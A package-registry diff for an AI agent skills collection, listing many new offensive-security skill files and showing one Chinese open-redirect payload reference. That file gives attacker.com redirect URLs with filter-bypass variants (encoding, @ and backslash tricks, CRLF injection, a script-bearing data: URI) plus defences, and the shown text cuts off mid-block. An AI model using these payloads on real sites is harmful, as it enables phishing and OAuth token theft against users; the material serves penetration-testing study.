opencode-skills-collection 4.0.42 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +49 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/lore/SKILL.md +104 -298
- package/bundled-skills/lore/references/audit-template.md +21 -4
- package/bundled-skills/lore/references/compatibility.md +51 -121
- package/bundled-skills/lore/references/config.md +22 -23
- package/bundled-skills/lore/references/entry-format.md +33 -3
- package/bundled-skills/lore/references/history-command.md +98 -2
- package/bundled-skills/lore/references/platform-mirrors.md +45 -16
- package/bundled-skills/lore/references/stale-new-markers.md +10 -8
- package/bundled-skills/lore/references/summary-template.md +8 -1
- package/bundled-skills/lore/references/workflows.md +192 -0
- package/bundled-skills/lore/scripts/README.md +14 -13
- package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
- package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
- package/bundled-skills/lore/scripts/find_stale.py +68 -16
- package/bundled-skills/lore/scripts/history.py +235 -23
- package/bundled-skills/lore/scripts/id_hash.py +7 -4
- package/bundled-skills/lore/scripts/list_entries.py +82 -13
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/poka-yoke/SKILL.md +172 -0
- package/bundled-skills/project-state-governor/SKILL.md +1 -1
- package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
- package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
- package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1281 -3
- package/bundled-skills/lore/README.md +0 -386
- package/bundled-skills/lore/README.zh-CN.md +0 -386
- package/bundled-skills/lore/WORKFLOWS.md +0 -216
- package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
|
@@ -0,0 +1,396 @@
|
|
|
1
|
+
# 开放重定向
|
|
2
|
+
|
|
3
|
+
_3 条 web payload_
|
|
4
|
+
|
|
5
|
+
### 基础开放重定向 `redirect-basic`
|
|
6
|
+
_URL跳转漏洞利用_
|
|
7
|
+
子类:**基础** · tags: `redirect` `url` `phishing`
|
|
8
|
+
|
|
9
|
+
**前置条件:**
|
|
10
|
+
- 目标参数控制跳转地址
|
|
11
|
+
|
|
12
|
+
**攻击链:**
|
|
13
|
+
|
|
14
|
+
**直接跳转**
|
|
15
|
+
> 直接跳转到攻击者站点
|
|
16
|
+
```
|
|
17
|
+
http://target.com/redirect?url=http://attacker.com
|
|
18
|
+
```
|
|
19
|
+
**语法解析:**
|
|
20
|
+
- `url=http://attacker.com` — 指定跳转目标 _parameter_
|
|
21
|
+
|
|
22
|
+
**绕过验证**
|
|
23
|
+
> @符号绕过
|
|
24
|
+
```
|
|
25
|
+
http://target.com/redirect?url=http://attacker.com@target.com
|
|
26
|
+
```
|
|
27
|
+
**语法解析:**
|
|
28
|
+
- `attacker.com@target.com` — 利用URL解析差异绕过 _value_
|
|
29
|
+
|
|
30
|
+
**斜杠绕过**
|
|
31
|
+
> //绕过协议
|
|
32
|
+
```
|
|
33
|
+
http://target.com/redirect?url=//attacker.com
|
|
34
|
+
```
|
|
35
|
+
**语法解析:**
|
|
36
|
+
- `//attacker.com` — 协议相对URL _value_
|
|
37
|
+
|
|
38
|
+
**WAF/EDR 绕过变体:**
|
|
39
|
+
|
|
40
|
+
**URL编码与双编码绕过**
|
|
41
|
+
> 通过URL编码、双重URL编码、Unicode同形字、CRLF注入等方式绕过跳转目标地址的白名单或黑名单检测
|
|
42
|
+
```
|
|
43
|
+
# URL编码:
|
|
44
|
+
/redirect?url=%68%74%74%70%3a%2f%2fattacker.com
|
|
45
|
+
# 双编码:
|
|
46
|
+
/redirect?url=%2568%2574%2574%2570%253a%252f%252fattacker.com
|
|
47
|
+
# Unicode编码:
|
|
48
|
+
/redirect?url=http://attacker。com
|
|
49
|
+
/redirect?url=http://ⓐttacker.com
|
|
50
|
+
# CRLF注入:
|
|
51
|
+
/redirect?url=%0d%0aLocation:%20http://attacker.com
|
|
52
|
+
```
|
|
53
|
+
**语法解析:**
|
|
54
|
+
- `# URL编码:` — 主要命令 _command_
|
|
55
|
+
- `...` — 共9行 _value_
|
|
56
|
+
|
|
57
|
+
**反斜杠与data: URI绕过**
|
|
58
|
+
> 利用反斜杠在不同解析器中的差异行为、data: URI协议、多斜杠协议相对URL等方式绕过域名白名单验证
|
|
59
|
+
```
|
|
60
|
+
# 反斜杠技巧:
|
|
61
|
+
/redirect?url=http://attacker.com@target.com
|
|
62
|
+
/redirect?url=//attacker.com
|
|
63
|
+
/redirect?url=/attacker.com
|
|
64
|
+
|
|
65
|
+
# data: URI:
|
|
66
|
+
/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
|
|
67
|
+
|
|
68
|
+
# 协议相对URL变体:
|
|
69
|
+
/redirect?url=//attacker.com
|
|
70
|
+
/redirect?url=///attacker.com
|
|
71
|
+
/redirect?url=////attacker.com
|
|
72
|
+
```
|
|
73
|
+
**语法解析:**
|
|
74
|
+
- `# 反斜杠技巧:` — 主要命令 _command_
|
|
75
|
+
- `...` — 共10行 _value_
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
**概述:** 开放重定向漏洞允许攻击者通过篡改URL参数将用户从受信任的域名重定向到任意外部恶意网站,常被用于钓鱼攻击(利用受信任域名的可信度)、OAuth令牌窃取、绕过SSRF防护等场景,是社会工程学攻击的重要辅助手段
|
|
79
|
+
|
|
80
|
+
**漏洞原理:** 应用程序在处理重定向URL参数(如redirect_url、return_to、next等)时未对目标URL进行严格的白名单校验,仅做简单的域名包含检查(如检查是否包含trusted.com字符串),可被攻击者通过URL编码、添加子域名(trusted.com.evil.com)、使用@符号(trusted.com@evil.com)等方式绕过
|
|
81
|
+
|
|
82
|
+
**利用方法:** 首先识别应用中所有重定向参数(通过爬虫、JS分析、登录/注销流程),测试将重定向目标改为外部域名,如果被拦截则尝试绕过手法:双重URL编码、使用协议相对URL(//evil.com)、利用@符号(https://trusted.com@evil.com)、添加受信域名为子域(https://evil.com/trusted.com)、使用反斜杠(https://trusted.com\\@evil.com)等
|
|
83
|
+
|
|
84
|
+
**防御措施:** 实施严格的白名单校验,仅允许重定向到预定义的可信域名列表;使用相对路径而非完整URL进行站内重定向;对重定向URL参数进行签名防篡改;在重定向前向用户显示中间确认页面;Content Security Policy(CSP)配置navigate-to指令限制可导航域名
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
### 重定向绕过 `redirect-bypass`
|
|
89
|
+
_开放重定向绕过技巧_
|
|
90
|
+
子类:**Bypass** · tags: `redirect` `bypass`
|
|
91
|
+
|
|
92
|
+
**前置条件:**
|
|
93
|
+
- 存在重定向参数
|
|
94
|
+
|
|
95
|
+
**攻击链:**
|
|
96
|
+
|
|
97
|
+
**URL编码**
|
|
98
|
+
> 使用URL编码
|
|
99
|
+
```
|
|
100
|
+
redirect=http%3a%2f%2fattacker.com
|
|
101
|
+
```
|
|
102
|
+
**语法解析:**
|
|
103
|
+
- `%3a` — 冒号: _char_
|
|
104
|
+
|
|
105
|
+
**@符号**
|
|
106
|
+
> 利用URL认证部分
|
|
107
|
+
```
|
|
108
|
+
redirect=http://target.com@attacker.com
|
|
109
|
+
```
|
|
110
|
+
**语法解析:**
|
|
111
|
+
- `@` — 分隔用户信息和主机 _char_
|
|
112
|
+
|
|
113
|
+
**反斜杠**
|
|
114
|
+
> 使用反斜杠
|
|
115
|
+
_platform: windows_
|
|
116
|
+
```
|
|
117
|
+
redirect=https:/\attacker.com
|
|
118
|
+
```
|
|
119
|
+
**语法解析:**
|
|
120
|
+
- `redirect=https:/\attacker.com` — 命令/关键字 _command_
|
|
121
|
+
|
|
122
|
+
**WAF/EDR 绕过变体:**
|
|
123
|
+
|
|
124
|
+
**反斜杠路径规范化**
|
|
125
|
+
> 利用反斜杠在不同浏览器/服务器中的路径规范化差异绕过重定向域名白名单
|
|
126
|
+
```
|
|
127
|
+
# 反斜杠替代正斜杠
|
|
128
|
+
https://target.com/redirect?url=https://evil.com\@target.com
|
|
129
|
+
https://target.com/redirect?url=https:\\evil.com
|
|
130
|
+
|
|
131
|
+
# 路径穿越绕过域名白名单
|
|
132
|
+
